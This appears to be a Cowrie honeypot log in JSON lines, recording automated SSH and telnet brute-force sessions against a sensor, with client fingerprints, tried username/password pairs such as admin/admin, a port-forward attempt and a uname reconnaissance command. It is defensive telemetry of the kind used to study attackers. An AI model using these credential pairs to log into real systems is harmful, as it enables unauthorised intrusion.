{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38438,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0248d0eefff","protocol":"ssh","message":"New connection: 45.156.87.254:38438 (159.203.135.109:22) [session: e0248d0eefff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:53.274473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:53.280949Z","src_ip":"45.156.87.254","session":"e0248d0eefff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:53.365766Z","src_ip":"45.156.87.254","session":"e0248d0eefff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:53.742627Z","src_ip":"45.156.87.254","session":"e0248d0eefff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:55.013626Z","src_ip":"45.156.87.254","session":"e0248d0eefff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":60586,"dst_ip":"10.17.0.5","dst_port":22,"session":"11c0555f6bbb","protocol":"ssh","message":"New connection: 87.251.64.176:60586 (10.17.0.5:22) [session: 11c0555f6bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:55.430123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:55.435114Z","src_ip":"87.251.64.176","session":"11c0555f6bbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:55.532463Z","src_ip":"87.251.64.176","session":"11c0555f6bbb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:55.830769Z","src_ip":"87.251.64.176","session":"11c0555f6bbb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:55.931638Z","session":"11c0555f6bbb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:56.030870Z","src_ip":"87.251.64.176","session":"11c0555f6bbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:56.132377Z","src_ip":"87.251.64.176","session":"11c0555f6bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38444,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d04b56bc760","protocol":"ssh","message":"New connection: 45.156.87.254:38444 (159.203.135.109:22) [session: 6d04b56bc760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:58.303516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:58.309194Z","src_ip":"45.156.87.254","session":"6d04b56bc760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:58.393729Z","src_ip":"45.156.87.254","session":"6d04b56bc760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:58.650717Z","src_ip":"45.156.87.254","session":"6d04b56bc760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:19:59.752857Z","src_ip":"45.156.87.254","session":"6d04b56bc760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45046,"dst_ip":"159.203.135.109","dst_port":22,"session":"3628e9edaf15","protocol":"ssh","message":"New connection: 45.156.87.254:45046 (159.203.135.109:22) [session: 3628e9edaf15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:03.080858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:03.085639Z","src_ip":"45.156.87.254","session":"3628e9edaf15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:03.178398Z","src_ip":"45.156.87.254","session":"3628e9edaf15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:03.434876Z","src_ip":"45.156.87.254","session":"3628e9edaf15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:04.651383Z","src_ip":"45.156.87.254","session":"3628e9edaf15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":50984,"dst_ip":"10.17.0.5","dst_port":22,"session":"b92fc1af058c","protocol":"ssh","message":"New connection: 182.253.168.47:50984 (10.17.0.5:22) [session: b92fc1af058c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:06.474493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:06.480928Z","src_ip":"182.253.168.47","session":"b92fc1af058c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:06.765199Z","src_ip":"182.253.168.47","session":"b92fc1af058c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"asdasd","message":"login attempt [user/asdasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:07.923087Z","src_ip":"182.253.168.47","session":"b92fc1af058c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45052,"dst_ip":"159.203.135.109","dst_port":22,"session":"518f4100163b","protocol":"ssh","message":"New connection: 45.156.87.254:45052 (159.203.135.109:22) [session: 518f4100163b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:08.005902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:08.015033Z","src_ip":"45.156.87.254","session":"518f4100163b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.1335928440094,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:08.066361Z","src_ip":"20.123.41.163","session":"3f4f4dd2e82e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:08.104412Z","src_ip":"45.156.87.254","session":"518f4100163b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:08.361036Z","src_ip":"45.156.87.254","session":"518f4100163b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:08.612450Z","src_ip":"45.156.87.254","session":"518f4100163b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:08.617161Z","src_ip":"45.156.87.254","session":"518f4100163b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:08.708805Z","src_ip":"45.156.87.254","session":"518f4100163b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:08.722053Z","src_ip":"45.156.87.254","session":"518f4100163b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:09.208972Z","src_ip":"182.253.168.47","session":"b92fc1af058c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":55124,"dst_ip":"10.17.0.5","dst_port":23,"session":"8922a5674bf7","protocol":"telnet","message":"New connection: 20.123.41.163:55124 (10.17.0.5:23) [session: 8922a5674bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:09.629230Z"}
{"eventid":"cowrie.session.closed","duration":43.03979468345642,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:09.642333Z","src_ip":"20.123.41.163","session":"d14b19798d7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34024,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbb11fc8113a","protocol":"ssh","message":"New connection: 45.156.87.254:34024 (159.203.135.109:22) [session: fbb11fc8113a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:13.105758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:13.110545Z","src_ip":"45.156.87.254","session":"fbb11fc8113a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:13.195004Z","src_ip":"45.156.87.254","session":"fbb11fc8113a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.7719180583953857,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:13.401057Z","src_ip":"20.123.41.163","session":"8922a5674bf7","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:13.454900Z","src_ip":"45.156.87.254","session":"fbb11fc8113a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:13.660832Z","src_ip":"45.156.87.254","session":"fbb11fc8113a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:13.664670Z","src_ip":"45.156.87.254","session":"fbb11fc8113a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:13.751729Z","src_ip":"45.156.87.254","session":"fbb11fc8113a","protocol":"ssh"}
